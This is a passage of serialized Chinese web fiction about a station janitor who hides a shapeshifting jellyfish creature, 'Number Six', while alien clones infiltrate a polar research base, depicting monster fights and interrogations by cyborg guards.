它闷闷不乐地看着徐久跑出门,总觉得体型成长起来以后,母体对它似乎不像从前那样溺爱了……是它想岔了吗?还是人类仍然在暗暗地生气呢? 六号不懂这种心情就是所谓的“患得患失”,它思考了一阵,决定将其定义为“自寻烦恼”。 毕竟,除了自己,母体还能溺爱谁? 徐久匆匆忙忙跑出宿舍楼,与其他清洁工排成一列。楼前的空地上,已经竖起合金栅栏,安置了许多用以排查的精密仪器,滴滴地闪着红蓝光点。 不远处,主管正跟几个穿着全套防护服的人点头哈腰,不住说着什么。转过头,他突然把脸上的横肉一皱,眯起眼睛在人群里找了一圈,目露凶光,锁定徐久。 不是吧,又来? 徐久心里叫苦,主管已经提着电棍过来,狠狠在他肩膀上下死手戳:“听见没?那边的长官叫你过去问话啊!” 徐久疼得差点龇牙咧嘴,但他清楚,自己要是做出什么苦相,电棍很快就会往他头上招呼了,因此强忍下来,耷拉着眉毛,老老实实地说:“哦。” 你等着,君子报仇,十年也不晚。现在大庭广众之下不好动手,有朝一日你落单了,你看我往不往你头上甩闷棍…… 徐久一边咬牙切齿地幻想,一边低眉顺眼地站在那几个“长官”跟前。 他还没站稳,早有人上来摘了他胸口的工牌,送去一边的机器上扫描。对面一个人翻着手里的文件,声音被厚重的防护服过滤得有些失真。 “昨晚,你在宵禁的时候外出了。” 旁边就是虎视眈眈的主管,周围更有几十名荷枪实弹,全副武装的警卫时刻监视着这边,只要徐久说错一个字——哪怕仅仅多动了下腿,都会把他瞬间扫成筛子。 奇怪的是,他的心安安静静的,一点儿都不害怕。 “没有的,长官。”徐久说,“我是快宵禁的时候出来的,因为中午带回去吃的压缩饼干丢了,所以我就想问一下两边的工友,看是不是有谁拿了。” 他如此镇定,倒让主管十分意外。 “所以,你没有触犯宵禁?”对方接着问。 “没有的,长官。”徐久的表情很平静,重复回答,“实在找不到丢的东西,我就赶在宵禁之前回房间了,我不敢做违规的事。” 他还记得六号昨晚对他说的话,这里已经是水母们的狩猎场,它们伪装着混迹在人群里,能对这里遍布的,天罗地网般的监控探头和红外感应仪视若无睹,其中必定有什么缘由。 听到他这么说,“长官”终于抬起头来,屈尊赏脸地瞥了他一眼。 “是啊,毕竟监控坏了嘛。”他意味不明地笑了一声,“那当然没人看到你是什么时候回的房间,只能是你说了算喽。” 不等徐久再说话,他抽出一份名单,上面印着四个人的照片,正是昨晚抓住徐久的四名警卫。 “见过他们没有?” 徐久抬起头,仔细观察片刻,摇头。 “我没有见过他们,长官。” 那人盯着徐久,慢慢收回照片,朝旁边一抬下巴。 “你,去,第一个做测试。” 徐久不明所以,主管趁机在他肩膀上揍了一下,把他往合金栅栏那边赶:“还不快滚!” 他沿着栅栏走到尽头,按照指示,尝试着把手伸进面前机器的小口,手背上先是一凉,接着猝不及防地袭来剧烈刺痛。 徐久倒吸冷气,把手抽出来一看,他的手背上已经多了一道颇深的血道,呈开口的菱形。 “棉签和创可贴在左边,”机器后面的人不耐烦地说,“继续往里走。” 就这样,徐久压着伤口,又被人刮了口腔粘膜,用灯照了瞳孔,做了两套不明所以的测试问卷……等到一系列繁琐的流程走完,他来到栅栏尽头,一名带着口罩,眉眼和善的年轻人,胸口戴着“审查员”的名牌,正在那里等他。 “你的测试结果,”他温和地说,“恭喜你,合格了。拿好工牌,手上的伤露出来我看下。” 徐久赶紧揭开创可贴,审查员凝视着新鲜的血口,不知为何,他的眼神专注得令徐久感到一丝不安。 “很健康的颜色啊。”他笑着说,拿着小仪器,往徐久的伤处一按,似乎打进了什么凉凉的东西,手指也无意识地碰到他的手背,“这是身份芯片,你的工牌在那边,要拿好。” 徐久急忙道:“谢……” 他一下愣住了,剩下那个“谢”字不上不下地挂在嘴边,不知该如何是好。 审查员的手指比仪器还要冰冷,就像一根了无生机的死肉,软软地拂过他的皮肤,带起一阵令人作呕的恶寒。 徐久确信自己没有看错——就在审查员抬头的一瞬间,对方的瞳孔虹膜,分明沁出了一圈他再眼熟不过的幽蓝光泽。 “……谢。” 他木讷地说。 相比之下,六号同样是危险的异形,同样是当初那只巨型水母的一部分,可它时常表现出的懵懂气质,以及直白而不加掩饰的性格,使它更接近于一只天真 14. 愚人一无所有(十四) 《我是人啊,你不是?》全本免费阅读 主管提着电棍,像台横冲直闯的泥头车,不由分说,就要给徐久来两下大的。 他这么穷凶极恶地一动,六号也跟着开动。它垂首对着主管,“脸”上没有五官,更不用说表情,但这空无一物的,冰冷的凝视,分明让徐久看出一股极为恐怖的杀意。 说时迟,那时快,主管张牙舞爪地挥着电棍,朝徐久扑去。六号张牙舞爪地挥着口腕,朝主管扑去。徐久……徐久只能抓紧拖把杆,惊慌失措地摇头大喊:“别——” 六号的口腕犹如流动的水银,已经在空中迅疾变化成狰狞的巨镰状,只要轻轻一甩,就能将一个成年人干干净净地分成两半。 只是母体的声音,使它的动作产生了明显的凝滞,它再看徐久惊恐摇头的样子,来回犹豫之下,到底没有对眼前的胖子实施分头行动,只让另一根口腕席卷而上,在主管腿上横着一抽。 砰然一声巨响!主管在猛冲的时候失去平衡,整个人腾空着飞了出去,两百多斤的体重,硬是摔出了半吨的动静,撼得合金地板余震不止。 徐久甚至听到了“咔啪”的清脆声音,也不知道是哪儿的骨头错位了。 “——别,别闪了腰……”徐久期期艾艾地道。 周遭一片死寂,唯有主管瘫倒在地,捂着膝盖,不住翻动、抽气。 想了下,徐久又小声补充:“那什么,刚拖的地,滑得很……” 这下非同小可,主管被摔得眼冒金星,好半天没爬起来,旁边的人也不敢扶他,全插着手看热闹。 徐久真不知道事情要怎么收场了,不过,刚才那么大动静,怎么还是没人看见六号? 他狐疑地张望一圈,又抬头看向空中漂浮的水母。 六号已经不见了。 他正松一口气,冷不防耳根处传来濡湿的,像被舔舐的感觉。徐久像被电打了,浑身一哆嗦。 身形庞大的水母悄无声息地飘到他身后,一枚口腕的湿润尖端,正好奇且稀罕地拨弄着徐久的耳垂。 “杀掉他?”细微的音波吹进他的耳道,仿佛是直接从他的大脑深处响起的声音,“杀掉他。” “……不,”徐久抿紧嘴唇,尽可能低声地挤出几个字,“不在这里。” 六号失望,且拟人地轻声叹气。徐久来不及阻拦,也没法儿阻拦,沿着衣领的缝隙,一根略细的口腕已然毫无顾忌地探了进去,缓慢且坚定地探到他之前被电棍狠狠戳过的地方,摸着揉了揉。 徐久瞪圆眼睛。 口腕的触感湿乎乎的,异常柔软,六号还贴心地调整了温度,绕着淤青的位置来回摩挲,几乎让人有种被吮吸的错觉。 他这么想着,触角的尖端就真的裂开了!有什么又小又尖的东西,轻轻在他的皮肉上咬了一口。 徐久瞳孔地震。 不好说这是什么感觉,六号缓解了肌肤的疼痛,又给他带去怪异且酥麻的痒意。众目睽睽之下,徐久的脸颊难以抑制地发烫,面皮也涨得通红。 身为野兽,六号不通世情,更没有羞耻之心,他可没法坦然自若地接受……接受这些事。 徐久红着脸,开始不自在地乱动。 发觉母体的体温正以不自然的速度上升,六号倒是起了兴致,觉得十分有趣。 人的鼻子并不灵敏,它却能清晰嗅到空气中逐渐增多的费洛蒙气味,对六号来说,这是一种无法用语言形容的香气,使它充满饥饿的食欲——但也不完全是食欲。 他闻起来就像干净的雨水,掐断的青草,还有苹果花,它想。 母体的皮肤薄嫩,内脏柔弱,可是又香香的。六号含着徐久,就像含着一块多汁的糖果,舍不得咽,更舍不得吐。就在它打算做点更过分的事……譬如温柔地咀嚼一下人类,或者再稍稍挤压一下,让他发出惊慌失措的小吱吱声时,地上的主管缓过劲来了。 他固然摔得不轻,让六号把他的膝盖骨鞭得错位,不过,愤怒和受辱的感觉就是最好的刺激剂,一个趾高气昂惯了的上位者,是绝对不能容忍自己在低于他的人面前出这么大的丑的。 主管用电棍当拐杖,从地上颤颤巍巍地爬起来,费力地喘着粗气。六号看也不看,口腕接着在地上一甩,一下便将电棍弹得飞起。 骤然失去支撑,男人的鼻子重重磕在地上,飙出一管血。还不等他喊痛,电棍被他的身体沉重一垫,顺带垫开了高压电开关。只见白光噼啪闪耀,曲张的电弧流遍全身,主管瞬间爆发出波浪起伏的,杀猪般的嚎叫,整个人在地上抖出了高速震动的模糊特效。 徐久:“……” 其他人:“……” 这下,更没人敢上去搭把手了。在场的清洁工面面相觑,眼睁睁地看着主管摇曳着硕大肥美的身躯,在地上花枝乱颤了一分多钟,徐久才喊了句“快救人”。 刹那间,几十根拖把杆纷纷如大雨落下,带起阵阵呼啸的残影……所有人都一窝蜂地涌上去,从四面八方狂戳上司横陈的玉体。如此奋不顾身地抢救了两分多钟,总算把主管和电棍戳得分离开来。 “呼,累死。” 人群中,徐久擦了把脑门上的汗,想放声狂笑,又不能被监控拍到,憋得十分辛苦,以至于在脸上呈现出了一种若有所思的,坚忍的神情。 “是啊,还挺累的。” “对对,救人真是体力活。” 众人异口同声地应和,彼此谦让地连连点头,全然不顾主管还瘫在地上,人都被电得漏液了。 “喂,”趁此机会,徐久小声问,“他们怎么看不到你啊?” 闻言,六号伸出口腕,柔和地摸了摸他的眼睛。 “干扰,伪装。人类,太相信肉眼。”它说,“你不一样。” 听了它的回答,徐久半懂不懂的,还没来得及追问,从监控中心看到异常的值班警卫终于姗姗来迟,赶到现场。 “这是怎么回事!”几名警卫手持警棍,厉声呵斥道,“你们要造反吗?!” “不是啊长官们!”清洁工们理直气壮,七嘴八舌地反驳,“地上滑,主管摔倒了……” “他摔得好严重哟,自己把电棍打开了……” “……我们再不救他,人就要电死啦!” “我们也是好心办好事……” 警卫被缠得没办法,事实也的确如此,监控都看得清清楚楚,主管暴起打人,没想到会滑倒摔跤,想撑着站起来,却不慎打开了电棍的开关……听上去确实很不可思议,但巧合就这么发生了,只能算他自己倒霉。 而这些清洁工固然有借机报复,泄愤之嫌,可也确实救了顶头领导,否则, 15. 愚人一无所有(十五) 《我是人啊,你不是?》全本免费阅读 六号无可奈何,看见母体固执护食的样子,大脑深处又涌起一股热烈的冲动。 它又想把人类甩起来,高高地扔到天上,然后再用身体接着他,也想把他整个卷起来,放进嘴里包着,还想狠狠地揉一揉他,戳他的脸颊,让他挣扎着生气…… 这符合人类对“可爱”的反应定义吗? 六号不知道。 到了下午,任务越发繁重。而“无视上级,救助手段不规范”的判决也快速下达了,包括徐久在内的一批清洁工得到了程度不一的禁食处分。作为引发整场事件的“罪魁祸首”,徐久罚得最重,被扣掉了四顿饭的份额。 也就是说今天晚上,以及明天一整天,他只能饿着肚子干活。 倘若放在从前,这绝对是个刁钻的惩罚。扣除口粮听上去算不了什么,可对于工作烦琐艰苦的低阶员工而言,就跟折寿没什么区别了。 但放到现在嘛。 徐久拿着处分单:“呃?好吧。” 不让吃就不让吃呗,此处不让吃,自有放饭处。 对此,六号反而不能理解。当它还是一个整体的时候,吞噬过许多人类的生命和记忆,但它仍然无法参透人类社会中的种种藩篱与规则。它在徐久耳边嘶嘶低语:“可是,你什么也没做!” 徐久无奈地说:“正因为我什么都没做。” 所以处罚才仅限于禁食,而非禁闭,或者其他更严厉的举措。 六号发出愤怒的噪音。 事实上,眼下所有的同构体都在等待。通过人类的记忆,它们知道,研究它们的人类组织是一个非常庞大的机构,设立在极地的站点仅是分部之一。为了避免人类向他们的总部寻求支援,或是启用更激进的自毁手段,同构体们仍在隐蔽地进行活动,将大张旗鼓的屠杀,默契地转变为不露声色的渗透。 六号同样在默默地等待,等到这座钢铁构造的丛林彻底陷入孤立无援的境地,无法向外界再传达一丝真实信息的时刻,就是此地的灭顶之灾降临的时刻。但与其他同构体不一样的是,在所有被视作猎物的人类当中,它唯独在乎徐久的命运。 “对了,我还没跟你说呢,”私下里,徐久对六号说,“今天早上……” 他将早上遇到伪装水母的事和盘托出,包括对方的外貌特征,声音和举止。最后,他挠挠头,为难道:“它可能也发现我看出它的身份了,会不会有麻烦?而且我就想不通了,那么明显的特征,别人怎么就没看出来呢?” 看着陷入烦恼的母体,六号十分清楚,他破解出其他同构体身份的能力从何而来。徐久和它在一起共同生活的时间已经很长了,从自己身上逸散出去的生物孢子,渗出的体|液及信息素,全都缓慢,但是不可逆转地改变了他,使他能更快、更敏锐地注意到和自己同一类的生物。 不过这种事,六号是不会告诉他的。 人类的心智没有那么坚定,万一吓到母体可怎么办呢? 所以,它只是抱着徐久,笨拙地安慰道:“没关系,我保护你,不要怕。” 我会留意那个挨得太近的危险分子,可是,我们何时才能离开这里?它恼火地思索。 我何时才能筑起巢穴,与母体共享?我们何时才能摆脱所有一切嘈乱的噪音,鄙俗的人类,以及错杂的环境,占据一块真正称得上静谧的,安宁的,富饶的领地? 怀抱着如此烦躁的情绪,六号成功潜入隔壁区域的后厨。它吞掉了那里将近一半的贮存,并且为母体带回了丰盛的战利品:半只颜色鲜艳的冷切火腿,一罐优质的马苏里拉奶酪球,一盒嫩鸽子肉馅饼,大量的巧克力,大量的手指饼干,以及一整袋新鲜的柑橘。 当然,最后那袋柑橘是最贵重的。置身于南极腹地,这样一袋果叶碧绿,表皮还沾着水珠的柑橘,价值几乎可以与黄金等同,通常只有高级研究员才有资格享用。 徐久惊喜万分,差点大声尖叫起来。 “橘子!”他一见那些金灿灿,黄澄澄的果实,过量分泌的唾液就叫下巴发酸了,“天老爷,我都多少年没吃过橘子了!” 他捧着一颗橘子,贪婪地闻着果香,只觉得神清气爽。 看到他这么欢欣雀跃的样子,六号也跟着咧开嘴,露出一个波浪形的笑容。 “吃,”它说,“吃。” 徐久欢喜地瞧着柑橘,慢慢地犹豫了。 “不行啊,”他望着六号,“橘子味道太大了,留在手上,会被人闻到的。” 这是实话,不只清洁工,低级员工的鼻子都比狗还灵,常年吃惯了寡淡无味的餐食,同伴身上但凡带股别的味儿,一下就能分辨出来。徐久也有这个本事。 六号说:“给你剥,怕什么。” 说着,它弓下身体,贴着徐久的后背,用口腕轻柔地合住一枚柑橘。轻微的分解声中,果皮飞速溶化,剩下一圆完好无损的果肉,就安然放置在它色泽绮丽的光滑表皮上。 当天夜里,徐久吃了鲜甜的橘子,试探性地尝了咸咸的冷切火腿,奶酪球就像奶味的橡皮擦……不好吃,但很新奇,他喜欢可以品尝新事物的感觉,鸽子肉馅饼的味道非常棒,美味极了,六号还教他用手指饼干蘸融化的巧克力,因为“那些人类,是这么食用的”。 房间狭小而简陋,隔音更是差劲,称得上家徒四壁。裸露着管道的天花板上,悬着简笔画一样的吊灯,晚上断了电,只有微弱的应急冷光照耀着地面。 但就在这里,在这片寒冷的冰原,以及比冰原更加寒冷的牢笼当中,他和六号挤挤挨挨地堆在一块——六号盘在地上,他坐在六号身上——偷偷地分享着不属于他们的丰富食物。 他们必须轻声轻气,每说一句话,交换一个意见,或者发出一声快乐的笑,都得隐秘地凑近对方的耳朵,以免这些动响传到左右两边的寝室。 好像做梦一样,徐久头晕目眩,不能言语。 这样的景象,他也只在梦里幻想过。 他短暂又漫长的学生时代,几乎成为了奠定他一生形状的基石。上学的时候,学生之间最常见的庆祝活动就是生日聚会,对那些特别聪颖的弟子,教师们总是无穷无尽地优待他们。优秀的学生可以在生日那天大张旗鼓地挑选半个傍晚,作为庆贺的奖励,教师也会向年级长打报告,调用一笔小小的经费,为这些尖子生购买礼物,彩带和生日蛋糕。 在聚会上,烛光映照着派对主角的面庞,晕染出幸福的红光,老师和朋友们则簇拥在主角身边,为他大声唱起生日歌,戴上五颜六色的尖帽,再用彩纸、掌声与赞美为他加冕……徐久这样的NPC只有在角落里艳羡地旁观,成为主角闪耀青春里的小小注脚。 我以后会有这样的机会吗?他曾经问过自己,不再孤单,卑微,无人看见——我以后也会有许许多多的朋友,可以让我和他们拥抱,欢笑,一块庆祝生日吗? 现在这个愿望真的实现了,只是与他曾经的设想略有出入:他没有许多朋友,只有一个朋友,他的这个朋友也不是人,而是危险的食人异种,畸变的水母怪物……是尘世中的魔鬼。 并且,他早就忘记了自己的生日是哪月哪天。 “我比主角更幸运……”徐久自言自语地笑道,幸福得眼眶都湿润了,“我的朋友,比主角的朋友更好。” 六号低头,诧异地注视母体,不知道他为什么突然产生了剧烈的情绪波动,它唯有用力抱住人类的身体,以表安慰。 但是,朋友…… 16. 愚人一无所有(十六) 《我是人啊,你不是?》全本免费阅读 先前的惊鸿一瞥,已令徐久看清了对方的伪装身份——正是昨天被他勘破身份的审查员。 他……它怎么会追到这里来?它是专程来杀我的吗? 徐久的手心全是汗,他紧紧地抓住六号垂在身前的一根口腕,仿佛这样,就能获得一些警醒的勇气。 他不了解水母之间的个体差异,六号也跟他解释不清楚这些事,但唯有一点,徐久直觉般地领悟到了六号和对手的区别。 六号还不够成熟老练,可能是积蓄的能量没有达标,它无法在本体和伪装之间做到无缝切换,甚至连口语都不如面前的异种流利,这足以说明它连发声器官都没有发育完善…… “我就觉得奇怪,”异种又说话了,“为什么他身上会携带那么浓郁的信息素气味,却还没有被食用?为什么他能一眼发现我的身份?原来是你在看护这个人类,向他暴露我们的秘密。” “是时候纠正这个错误了。” 徐久喃喃道:“六号……” 它咧开嘴。 “啊,他还给你起了名字,一个可笑的名字。难道你感应不到,那些比你更有自尊心的碎片,已经认同了一个统一的身份吗?” “人类用各式各样的代号称呼我,他们有的叫我科西切,有的称呼我为奥西里斯。”它亲切地解释,“但对我来说,这些称谓遥远陈旧,没有任何价值,所以,我还是选择‘时夜生’。毕竟,它隶属于一个聪慧的,价值不菲的大脑,而且还非常好吃。” “时夜生”张开狭长的巨口,共振出模糊的笑声。 “——希望你的人类,也像这颗大脑一样美味。” 六号没有再出声,下一秒,它卷起徐久的腰,将他猛地抛出很远。徐久被猝不及防地甩到门边,连着在地上滚了好几圈才停下。 “六号!”他大声喊。 “也好,”时夜生自言自语地说,从身体里传出的每一个音节,都像是浓稠沼泽中爆开的肥厚泡沫,“先吞掉你,再去找他。” “跑!”六号发出非人的咆哮,同时以肉眼难以观测的速度挥出异化的口腕。那些腕足早已在蓄势待发的筹备中变得硬如精金,只等着切开一切仇敌的身躯。 然而,如此雷霆万钧的攻势却被尽数格挡。六号高速斩切,对方也高速回防,碰撞的啸响犹如豪雨,暴虐地响彻整个空旷的大厅,短短几秒钟的时间,双方的厮杀就已经呈现出白热化的趋势。 徐久瞪大眼睛,他不能再看下去,他知道自己得跑了,留在这只会成为六号的拖累。可是往哪跑,怎么跑? 他颤抖着喘息,手脚并用地爬起来,拼命向寒冷的夜色深处狂奔过去。 “人类走了,”时夜生忽然说,“现在,你可以专心了吗?” 话音未落,它完美防御了从四面八方穿刺而来的触角,余下狂舞的口腕甚至还能拧成一股,将六号重重抽飞出去。 六号轰然撞碎了大厅的立柱,满身石屑,滚落地面。它的部分身体立刻逸散,使随即追来的刺杀扑空。不等时夜生再度逼近,它已然暴起,腕足凝结钴蓝色的剧毒,犹如数十条亮晶晶的蟒蛇,摧枯拉朽地切烂石柱,几乎是瞬移到了时夜生面前。 “死。”它说。 时夜生却消失了。 六号同样扑了个空,它警惕地环顾四周,全身的口腕上下绞动着徐徐盘旋,仿佛雪亮的剃刀刀刃。 它探查着空气中的气味,同构体之间彼此通感,按理来说,它可以很快定位到敌方的位置,但显而易见,对手比它的等级要高很多。 更加完善的器官,意味着更强大的隐蔽能力,它无法通过单方面的“共感”,去锁定时夜生的藏身之处。 它不能拖延太久,六号很清楚这一点,它给母体争取到的时间实在有限。母体已经看穿了“时夜生”用于伪装的身份,如果对方认定杀人灭口的重要性更甚于与自己交手,那么它一定会以最快的速度摆脱自己的防线,潜伏到母体身边。 黑暗中,杀气浓烈得令人窒息,六号层层防御的锋利腕足逐渐偏离了位置,暴露出几处致命的破绽,当中折射出蓝钻一般深邃的光芒。 它却像是无知无觉,继续在空旷的大厅内缓缓游荡,找寻着可能存在于任何角落的敌人。 立柱的阴影里,有什么东西轻轻一响,比白纸落地的声音还要轻灵,六号霎时捕捉到这不同寻常的动静,猛地调转方向。就在它转身的一瞬间,背后风声呼啸,如同天罗地网,朝它狂暴地笼罩而下。 千分之一秒的缝隙内,六号动了。 犹如散漫的水银,或者灵活的水流,它在极短的时间内完成了一次变形,没有五官的脸庞凹陷、收缩,又重新在后脑勺上快速浮现。刹那间它与时夜生正面相接,就像一对久别重逢,激情如火的情人,都要迫不及待地紧紧拥抱住对方。 时夜生的表皮颤动了一下,像被一滴雨水打进平坦的湖面。 一滴雨水翻卷出成千上万滴落雨,落雨再扩大成疾速下坠的冰雹——它此刻面对的是狂潮般喷涌的穿刺之势!巨大的风压尖啸着切割空气,倘若眼下立在六号对面的是一堵钢铁城墙,那么钢铁城墙也会在眨眼间化作破灭的铁屑,被凶猛的气浪吹成漫天飞扬的大雪。 触角仿佛钻头,狠毒地钻进同构体的血肉,几次绞过核心的位置。六号用自己做了诱饵,引诱对方上钩,凭借巨大的蛮力,它甚至能全方位地压制住比它进化程度更高的同构体! 然而成功的时机太宝贵,也太短暂。下一秒,尖锐的口腕再度捅向对方,震出的声音却锵然干脆,像矛与盾相互撞击。 时夜生同样硬化了身躯,它挥出数米长的“手臂”,猛地鞭打在六号身上。这一击能瞬间把十个人砸成糜烂的肉饼,六号只是快速变幻外壳,让自己成为了被长刀决断的水流,刀过水合,没有留下一丝伤痕。 双方同时交错,又同时弹开。色泽妖冶的蓝血汇聚成璀璨的滴珠,顺着六号的腕刃缓缓流淌,不等落到地面,就被吸收进了半透明的表皮。 那是时夜生的血。 时夜生低头看着身上层出不穷的伤口,在它的注视下,这些看似致命的豁口都在飞快地蠕动,愈合,很快就消失不见。 “你,很好。” 它抬起头,语气中终于多出了可以被称之为“森然”的东西。 无论死后被亵渎成了什么形状,身为人类的时夜生,在活着的时候必然是非常俊美的。水母们占据了他的外貌,异化了他的躯壳,作为杀人吮血的怪物,它们变化出的眉眼却空灵得令人心悸……仿佛雨水洗过的兰花,在暗夜中散发着幽深如潮的香气。 然而此时此刻,空灵的幻美薄雾尽数 17. 愚人一无所有(十七) 《我是人啊,你不是?》全本免费阅读 徐久自己都没想到,在这种情况下,他居然异常冷静,像是隔着屏幕,观看别人的实况转播。 “您是说在实验楼大厅吗?没有,长官。”他低声说,“我什么都没看见,我……我听到声音以后,就跑了。” “是什么声音?” “有点类似金属碰撞的声音,”徐久装出尽可能回忆的样子,摩挲着手腕上的伤痕,“像有人在我的头顶挥舞几百把刀子……我被吓到了,而且周围太黑,我也不知道发生了什么事,只是觉得很危险……” 生化人审视着徐久。 说老实话,徐久非常年轻。 普通人家的孩子在他这个年纪只怕连大学都还没毕业,仍然是不谙世事,烦恼有限的快活青年,而他已经在莫比乌斯积累了长达四年的工龄。尽管一直干着最低廉的清洁工活计,比起一些菜鸟,徐久还是可以从蚂蚁一般繁多的同行当中,积累相当琐碎的情报和无用知识,并将它们联系在一起。 比如,他听说过莫比乌斯的生化改造人项目,知道该项目能为改造者提供超出常理的速度、力量和敏锐感官。改造成功的生化人,通常会拥有夸张的体格,以此来匹配那些夸张的能力。他们不仅可以单手举起一辆小汽车,一跃跳上四米高的楼层,还可以不依靠工具,清晰地听见活物的心跳与呼吸,闻到目标分泌出的汗液,以及准确无误地感应到对方的体温。 他们不仅是天然的战争兵器,更是天然的测谎仪。徐久毫不怀疑,只要自己的心跳稍微加快一丝,或者额头上多出几星闪光的汗水,下一秒,他的头就会被打进后面的水泥墙里。 “你害怕,”队长说,“但你没有求援。” “我跑了!”徐久急忙抬起头,“我先往食堂跑的,我觉得那里人多,会让我有呼救的机会,但食堂已经关门了……所以我接着往宿舍楼跑。” 队长问:“你当时还听到了什么?” “风声,”徐久肯定地回答,“很长,很长的风声,跟蛇一样,在我头顶晃来晃去……” 这么多年的底层生涯,使他非常明白什么是说谎的基本原理。徐久像模像样地打了个抖,又往里增添了一点细节:“还有就是,有种味道……” “味道?” “对,腻乎乎的,又有点香,可不像是化妆品的香。让我形容,我也形容不出来。” 他做出绞尽脑汁的表情,皱着脸,努力回忆道:“别的,就没什么了。” 队长沉默以对,似乎是在沉思,徐久深呼吸了几下,鼓起勇气问:“长官,那些到底是什么东西?你们抓住它们了吗?我,我们会不会有事?” “你的问题很多,”队长抬起眼睛,浅得近乎透明的瞳孔中,蕴藏着显而易见的警告,“而且,你好像并不怕我。” 徐久的心失衡一沉。 是的,他不害怕。和六号在一起之后,在他心中已经没有任何人需要他去害怕,去畏惧。 “……因为我之前见过和您一样的人!”他怯怯地抬起脸,露出殷切又讨好的笑,“就在我们被调到这儿来的那天,我看到了和您穿着一样制服的长官,他们从我们身边过去的时候,我们连大气都不敢出一声。我上不了几年学,夸不出什么花哨的词儿,但看着实在威风极了……” 这话换任何一个人来说——譬如徐久那个以媚上欺下而闻名的主管——都难免显得阿谀油腻,令人暗暗生出厌烦轻视之心,但徐久用他青涩的年龄,以及苍白秀气的外貌冲淡了话语间的功利情绪,使他看起来几乎成了“粉丝”一类的人群。 队长没有再说话,他静静地检视徐久,片刻后,他起身,步履沉重,朝门外走去。 【怎么样,队长?】外面模糊地传出叽里咕噜的声音,【今晚的事跟他有关吗?】 队长说:【暂时没有什么破绽。你们追查的结果如何?】 【尚未发现目标,】队员轻声汇报,【只发现了目标残余的体|液迹象,并且一路断断续续地延伸到了通风管道口。我们派出微型无人机进入管道排查,但是痕迹在下水阀门处消失了。】 【消失了。】队长脸色阴沉。 【是的,】队员严肃地点头,【再往下就是放射性废料的密闭堆积舱,无人机的信号受到干扰,我们需要博士的权限许可,才能进入排寻。】 队长一边往外走,一边问:【博士知道这件事了吗?】 【刚刚知道了,】队员说,尽管四周没有人能听懂他们在说什么,他还是隐秘地压低了声音,【他……听上去有些慌张。】 【再优柔寡断下去,他迟早会把这里的人都害死。】队长冷冷地说,【到时候,他最想逃避的责任,将会第一个死死扼住他的咽喉。】 两名生化人快走出长廊,队员才随口问:【对了,里面那个消耗品怎么处理?】 【……留着吧,我总觉得他有哪里不太对劲。】队长说,【他是那些异种没能捉住的猎物,尽管它们忙于内斗而无暇管他的去留,但它们迟早会回来狩猎他的。在这之前,就让他当个合格的诱饵。】 【是。】 禁闭室里,冷汗缓缓从徐久后背渗出。 世界上没有那么多运筹帷幄,思虑周全的事,大多数都是突发事件,考验着人的随机应变能力。他知道自己发挥得不够好,有破绽,可他已经尽力了。 现在,他最害怕,最担心的问题,就是研究站的人会去查看监控,再一路摸到昨天上午发生的意外——尽管六号已经承诺过,除了自己,再没有人能看见它的行动,可监控探头却能一览无遗地记录下主管摔倒时的异状。 到时候,他要如何找借口辩解? 正当他胡思乱想之际,禁闭室的门再度开启,徐久一抬头,这次进来的,是两名看守禁闭室的警卫,其中一个人手上拿着本登记薄,正百无聊赖地翻看着。 “A区112室6号!”来人头也不抬,拖长了声音喊,“行了,出来吧。” 徐久尽量平复呼吸,他站起来,不知道这一去,究竟是光明的生路,还是求生不得的死路。 他试探着问:“我……我能回宿舍了吗?” 警卫抬起眉毛,懒懒地瞥了他一眼。 “来这签字,再领你的工牌。”他说,“下楼左转,有个亮着光的房间。” 徐久心中惴惴,签完字,局促地说了声谢谢。下到一楼,他轻手轻脚地走进警卫的办公室,看到一墙墙的巨屏监控摄像,闪着花花绿绿的光。 “6号是吧?”其他人都忙忙碌碌的,只有一个看上去十分面善的警卫站起来,“这是你的工牌,拿去吧。” 徐久刚一伸手,对方就不轻不重地按住了装着工牌的托盘。 “拿之前,”警卫低声说,“先想好自己有几条命,可以把今天晚上的事到处乱传,懂了吗?” 徐久一愣,继而点点头。 “要是被上边听见一点关于这件事的流言蜚语,不管跟你有没有直接联系,你都会吃不了兜着走的,小子。”他接着威胁道,“明白了,就快滚。” 徐久缓缓把工牌抓在手里,一言不发地转身离开。 冷汗浸湿了他的后背,他走得很慢,甚至有点迟疑,像是随时准备迎接从两旁扑过来把他按到在地的警卫似的。 然而,他幻想中的事没有发生,徐久安然无恙地走出了禁闭室的范围。 这简直就是个奇迹……不,甚至奇迹这个词都显得形容力度不够。 他木然地回到宿舍,打开门,不出意料,他的东西已经全都被搜查了一遍,那些人都懒得遮掩一下翻箱倒柜的痕迹。 被褥在地下摊开,上面散落着凌乱的枕头和床单,桌椅推得歪歪扭扭,杂物架上的毛巾和牙刷、牙杯,以及一小块肥皂全都堆在一起,角落里借阅的几本过期杂志的封面上,还留下了半个鞋印。 徐久盯着看了一会儿,默不作声地把被褥扛到床上,床单都懒得铺,横着往上面一躺 第 18 章 愚人一无所有(十八) 《我是人啊,你不是?》全本免费阅读 时夜生游荡在夜色里,它身上的伤口还没有全部愈合,不过,也不再往下流血了。 被冒犯,被挫伤的愤怒持续性地刺痛着它。作为一个已经进化得相当完整的同构体,时夜生对人类的感情称得上复杂。 一方面,人类美味可口,诱惑力惊人,他们以夸张的程度进化了大脑,却忘记在肉 体上设置一些可供攀爬的台阶,自然界再找不出第二种这样表皮薄嫩,血肉甜美的生物了。 另一方面,人类丰富多层的情感,变化多端的心灵,还有一刻不停的奇思妙想,都令它发自内心地感到惊叹,而人类的创造力,他们在毁灭之途上的造诣,同样使时夜生揣摩不已,无法自拔。 但进化是一回事,和人类在一起生活,则是另一回事。 碎块背叛了它的种族。身为狩猎者,却甘愿被猎物所支配,还甘之如饴地接受了猎物给它起的可笑名字……六号!人类都不会给他们饲养的犬科动物起这种名字,它却接受了,而且看上去非常愉快! 严格来说,六号就是它,它也是六号,同构体之间的相互屠戮,相互蚕食,不能影响它们本是一体的事实。因而,时夜生感到一股难以言喻的羞辱。 在人类社会中,通常将“扇耳光”视作伤害不高,但是侮辱性极强的行为。现在,它就觉得自己被那名弱小的人类隔空扇了一记耳光。 他以为他是谁?一个脆弱的肉袋,面对掠食者,只能瑟瑟发抖,连转身逃跑的力气都欠奉……人类总以为自己是万事万物的僭主,位于生物链顶端的统治者,他们的傲慢必须得到严惩,否则不足以浇灭它心头的怒火。 循着气味,时夜生潜伏在人类聚居的巢穴旁,观察着目标的一举一动。 